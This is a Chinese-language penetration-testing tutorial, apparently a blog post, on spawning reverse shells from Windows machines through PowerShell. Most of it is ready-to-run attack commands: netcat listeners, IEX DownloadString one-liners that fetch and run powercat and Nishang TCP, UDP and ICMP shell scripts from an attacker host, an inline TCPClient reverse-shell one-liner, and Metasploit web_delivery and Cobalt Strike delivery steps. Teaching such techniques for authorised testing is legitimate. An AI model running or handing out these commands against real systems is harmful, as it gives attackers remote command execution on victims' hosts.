在渗透测试过程中我们有时候需要通过Windows平台来反弹shell到我们的VPS主机以及CS端,那么这个过程中我们就需要借助Windows平台内置的可执行程序来执行命令,其中首选的就是powershell,本篇文章我们主要介绍如何通过Windows平台中如何通过powershell来反弹shell操作。
powercat反弹shell
powercat(https://github.com/besimorhino/powercat)是一个PowerShell函数,首先你需要加载这个函数才能执行它,你可以将下面的命令之一放入你的PowerShell配置文件中,这样在PowerShell启动时powercat就会自动加载,下面我们介绍powercat如何进行反弹shell并获取服务器端的权限:
Step 1
:在攻击端一侧监听端口
nc -lnvp 4444
Step 2
:在攻击端一侧使用python托管一个powershell文件
python2 -m SimpleHTTPServer 1234
Step 3
:目标机反弹cmdshell
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.204.144:1234/powercat.ps1');powercat -c 192.168.204.144 -p 4444 -e cmd
Step 4
:在供给端一侧成功收取到反弹的shell
Reverse TCP shell
Nishang(https://github.com/samratashok/nishang)是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/UDP/HTTP/HTTPS/ICMP等类型的Reverse shell,下面我们简单的演示一下关于如何使用Nishang来反弹shell的操作:
Step 1
:在攻击端一侧监听端口
nc -lnvp 4444
Step 2
:在攻击端一侧使用python托管文件
python2 -m SimpleHTTPServer 1234
Step 3
:反弹shell操作
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.204.144:1234/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.204.144 -port 4444
Step 4
:随后成功反弹shell
Reverse UDP shell
Step 1
:在攻击端一侧监听端口
nc -lup 6666
Step 2
:在攻击端一侧使用python托管文件
python2 -m SimpleHTTPServer 1234
Step 3
:反弹shell操作
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.204.144:1234/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.204.144 -port 6666
Step 4
:随后成功反弹shell
Reverse ICMP shell
Step 1
:在攻击端一侧使用python托管文件
Step 2
:在攻击端下载icmpsh_m.py文件忽略所有的ICMP数据包并开启监听
#格式说明
icmpsh_m.py Usage:
python icmpsh_m.py [Attacker IP] [Victim IP]#执行实例
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包
python2 icmpsh_m.py 192.168.204.144 192.168.204.145 #开启监听
Step 3
:反弹shell操作
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.204.144:1234/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.204.144
Step 4
:随后成功获取到反弹的shell
备注
:如果提示"You need to install Python Impacket library first",则需要通过安装impacket来执行
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install
自定义powershell类
我们可以利用powershell创建一个Net.Sockets.TCPClient对象,通过Socket反弹tcp shell,其实也是借鉴nishang中的Invoke-PowerShellTcpOneLine.ps1,
Step 1
:攻击者开启监听
nc -lnvp 4444
Step 2
:在受害者主机执行以下命令
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.204.144',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Step 3
:成功反弹shell
通过使用MSF反弹shell
我们可以利用metasploit的web_delivery模块并使用python、php、powershell、regsvr32等进行反弹shell:
Step 1
:在攻击者一侧进行监听
use exploit/multi/script/web_delivery
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set target 2
set LHOST 192.168.204.144
set LPORT 4444
exploit
Step 2
:在受害者主机中执行上述命令
Step 3
:随后成功反弹shell
Cobalt strike反弹shell
Cobalt strike的Scripted Web Delivery模块可通过bitsadmin、powershell、python、regsvr32等进行反弹shell,类似metasploit的web_delivery模块
Step 1
:运行Cobalt strike并创建一个Listener, 点击"Cobalt Strike->Listeners",然后点击Add便可创建Listeners
Step 2
:生成powershell payload,点击"Attack -> Web Drive-by -> Scripted Web Delivery",Type选择powershell
Step 3
:随后在目标主机上执行上述命令
Step 4
:随后成功收到反弹的shell
原创 Heptagram 七芒星实验室